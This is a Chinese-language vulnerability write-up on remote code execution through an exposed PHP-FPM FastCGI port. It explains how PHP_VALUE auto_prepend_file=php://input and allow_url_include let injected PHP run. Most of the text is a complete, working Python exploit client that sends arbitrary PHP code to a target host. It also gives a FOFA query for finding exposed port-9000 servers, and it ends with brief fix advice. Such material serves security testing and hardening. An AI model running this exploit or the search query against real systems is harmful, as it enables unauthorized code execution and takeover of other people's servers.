0x01 漏洞描述

Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。
PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
phpfpm收到的中间件发送的key-value对:

  1. {
  2. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
  3. 'REQUEST_METHOD': 'GET',
  4. 'SCRIPT_FILENAME': '/var/www/html/index.php',
  5. 'SCRIPT_NAME': '/index.php',
  6. 'QUERY_STRING': '?a=1&b=2',
  7. 'REQUEST_URI': '/index.php?a=1&b=2',
  8. 'DOCUMENT_ROOT': '/var/www/html',
  9. 'SERVER_SOFTWARE': 'php/fcgiclient',
  10. 'REMOTE_ADDR': '127.0.0.1',
  11. 'REMOTE_PORT': '12345',
  12. 'SERVER_ADDR': '127.0.0.1',
  13. 'SERVER_PORT': '80',
  14. 'SERVER_NAME': "localhost",
  15. 'SERVER_PROTOCOL': 'HTTP/1.1'
  16. 'PHP_VALUE': 'auto_prepend_file = php://input',
  17. 'PHP_ADMIN_VALUE': 'allow_url_include = On'
  18. }

通过auto_prepend_file在执行指定php前添加php://input伪协议中body的代码,达到RCE的效果。

0x02 漏洞复现

exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

  1. import socket
  2. import random
  3. import argparse
  4. import sys
  5. from io import BytesIO
  6. # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
  7. PY2 = True if sys.version_info.major == 2 else False
  8. def bchr(i):
  9. if PY2:
  10. return force_bytes(chr(i))
  11. else:
  12. return bytes([i])
  13. def bord(c):
  14. if isinstance(c, int):
  15. return c
  16. else:
  17. return ord(c)
  18. def force_bytes(s):
  19. if isinstance(s, bytes):
  20. return s
  21. else:
  22. return s.encode('utf-8', 'strict')
  23. def force_text(s):
  24. if issubclass(type(s), str):
  25. return s
  26. if isinstance(s, bytes):
  27. s = str(s, 'utf-8', 'strict')
  28. else:
  29. s = str(s)
  30. return s
  31. class FastCGIClient:
  32. """A Fast-CGI Client for Python"""
  33. # private
  34. __FCGI_VERSION = 1
  35. __FCGI_ROLE_RESPONDER = 1
  36. __FCGI_ROLE_AUTHORIZER = 2
  37. __FCGI_ROLE_FILTER = 3
  38. __FCGI_TYPE_BEGIN = 1
  39. __FCGI_TYPE_ABORT = 2
  40. __FCGI_TYPE_END = 3
  41. __FCGI_TYPE_PARAMS = 4
  42. __FCGI_TYPE_STDIN = 5
  43. __FCGI_TYPE_STDOUT = 6
  44. __FCGI_TYPE_STDERR = 7
  45. __FCGI_TYPE_DATA = 8
  46. __FCGI_TYPE_GETVALUES = 9
  47. __FCGI_TYPE_GETVALUES_RESULT = 10
  48. __FCGI_TYPE_UNKOWNTYPE = 11
  49. __FCGI_HEADER_SIZE = 8
  50. # request state
  51. FCGI_STATE_SEND = 1
  52. FCGI_STATE_ERROR = 2
  53. FCGI_STATE_SUCCESS = 3
  54. def __init__(self, host, port, timeout, keepalive):
  55. self.host = host
  56. self.port = port
  57. self.timeout = timeout
  58. if keepalive:
  59. self.keepalive = 1
  60. else:
  61. self.keepalive = 0
  62. self.sock = None
  63. self.requests = dict()
  64. def __connect(self):
  65. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  66. self.sock.settimeout(self.timeout)
  67. self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  68. # if self.keepalive:
  69. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
  70. # else:
  71. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
  72. try:
  73. self.sock.connect((self.host, int(self.port)))
  74. except socket.error as msg:
  75. self.sock.close()
  76. self.sock = None
  77. print(repr(msg))
  78. return False
  79. return True
  80. def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
  81. length = len(content)
  82. buf = bchr(FastCGIClient.__FCGI_VERSION) \
  83. + bchr(fcgi_type) \
  84. + bchr((requestid >> 8) & 0xFF) \
  85. + bchr(requestid & 0xFF) \
  86. + bchr((length >> 8) & 0xFF) \
  87. + bchr(length & 0xFF) \
  88. + bchr(0) \
  89. + bchr(0) \
  90. + content
  91. return buf
  92. def __encodeNameValueParams(self, name, value):
  93. nLen = len(name)
  94. vLen = len(value)
  95. record = b''
  96. if nLen < 128:
  97. record += bchr(nLen)
  98. else:
  99. record += bchr((nLen >> 24) | 0x80) \
  100. + bchr((nLen >> 16) & 0xFF) \
  101. + bchr((nLen >> 8) & 0xFF) \
  102. + bchr(nLen & 0xFF)
  103. if vLen < 128:
  104. record += bchr(vLen)
  105. else:
  106. record += bchr((vLen >> 24) | 0x80) \
  107. + bchr((vLen >> 16) & 0xFF) \
  108. + bchr((vLen >> 8) & 0xFF) \
  109. + bchr(vLen & 0xFF)
  110. return record + name + value
  111. def __decodeFastCGIHeader(self, stream):
  112. header = dict()
  113. header['version'] = bord(stream[0])
  114. header['type'] = bord(stream[1])
  115. header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
  116. header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
  117. header['paddingLength'] = bord(stream[6])
  118. header['reserved'] = bord(stream[7])
  119. return header
  120. def __decodeFastCGIRecord(self, buffer):
  121. header = buffer.read(int(self.__FCGI_HEADER_SIZE))
  122. if not header:
  123. return False
  124. else:
  125. record = self.__decodeFastCGIHeader(header)
  126. record['content'] = b''
  127. if 'contentLength' in record.keys():
  128. contentLength = int(record['contentLength'])
  129. record['content'] += buffer.read(contentLength)
  130. if 'paddingLength' in record.keys():
  131. skiped = buffer.read(int(record['paddingLength']))
  132. return record
  133. def request(self, nameValuePairs={}, post=''):
  134. if not self.__connect():
  135. print('connect failure! please check your fasctcgi-server !!')
  136. return
  137. requestId = random.randint(1, (1 << 16) - 1)
  138. self.requests[requestId] = dict()
  139. request = b""
  140. beginFCGIRecordContent = bchr(0) \
  141. + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
  142. + bchr(self.keepalive) \
  143. + bchr(0) * 5
  144. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
  145. beginFCGIRecordContent, requestId)
  146. paramsRecord = b''
  147. if nameValuePairs:
  148. for (name, value) in nameValuePairs.items():
  149. name = force_bytes(name)
  150. value = force_bytes(value)
  151. paramsRecord += self.__encodeNameValueParams(name, value)
  152. if paramsRecord:
  153. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
  154. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
  155. if post:
  156. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
  157. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
  158. self.sock.send(request)
  159. self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
  160. self.requests[requestId]['response'] = b''
  161. return self.__waitForResponse(requestId)
  162. def __waitForResponse(self, requestId):
  163. data = b''
  164. while True:
  165. buf = self.sock.recv(512)
  166. if not len(buf):
  167. break
  168. data += buf
  169. data = BytesIO(data)
  170. while True:
  171. response = self.__decodeFastCGIRecord(data)
  172. if not response:
  173. break
  174. if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
  175. or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  176. if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  177. self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
  178. if requestId == int(response['requestId']):
  179. self.requests[requestId]['response'] += response['content']
  180. if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
  181. self.requests[requestId]
  182. return self.requests[requestId]['response']
  183. def __repr__(self):
  184. return "fastcgi connect host:{} port:{}".format(self.host, self.port)
  185. if __name__ == '__main__':
  186. parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
  187. parser.add_argument('host', help='Target host, such as 127.0.0.1')
  188. parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
  189. parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
  190. parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
  191. args = parser.parse_args()
  192. client = FastCGIClient(args.host, args.port, 3, 0)
  193. params = dict()
  194. documentRoot = "/"
  195. uri = args.file
  196. content = args.code
  197. params = {
  198. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
  199. 'REQUEST_METHOD': 'POST',
  200. 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
  201. 'SCRIPT_NAME': uri,
  202. 'QUERY_STRING': '',
  203. 'REQUEST_URI': uri,
  204. 'DOCUMENT_ROOT': documentRoot,
  205. 'SERVER_SOFTWARE': 'php/fcgiclient',
  206. 'REMOTE_ADDR': '127.0.0.1',
  207. 'REMOTE_PORT': '9985',
  208. 'SERVER_ADDR': '127.0.0.1',
  209. 'SERVER_PORT': '80',
  210. 'SERVER_NAME': "localhost",
  211. 'SERVER_PROTOCOL': 'HTTP/1.1',
  212. 'CONTENT_TYPE': 'application/text',
  213. 'CONTENT_LENGTH': "%d" % len(content),
  214. 'PHP_VALUE': 'auto_prepend_file = php://input',
  215. 'PHP_ADMIN_VALUE': 'allow_url_include = On'
  216. }
  217. response = client.request(params, content)
  218. print(force_text(response))

image.png

0x03 漏洞发现

端口:9000
由于php-fpm没有banner,所以网络空间测绘并不能很好的判断该组件
测试性fofa语法:port="9000" && country="CN" && base_protocol="tcp" && protocol="unknown"

0x04 修复建议

修改php-fpm连接池配置文件www.conf,将listen字段值改为127.0.0.1:9000,listen = 127.0.0.1:9000 ,只能与本机进行通信。或者更新listen.allowed_clients字段,允许来自于哪个地址段的请求进行连接。

参考文献:
[1] https://www.cnblogs.com/leixiao-/p/10226633.html?msclkid=a1cf543aa9bc11ec86c281a7360ed916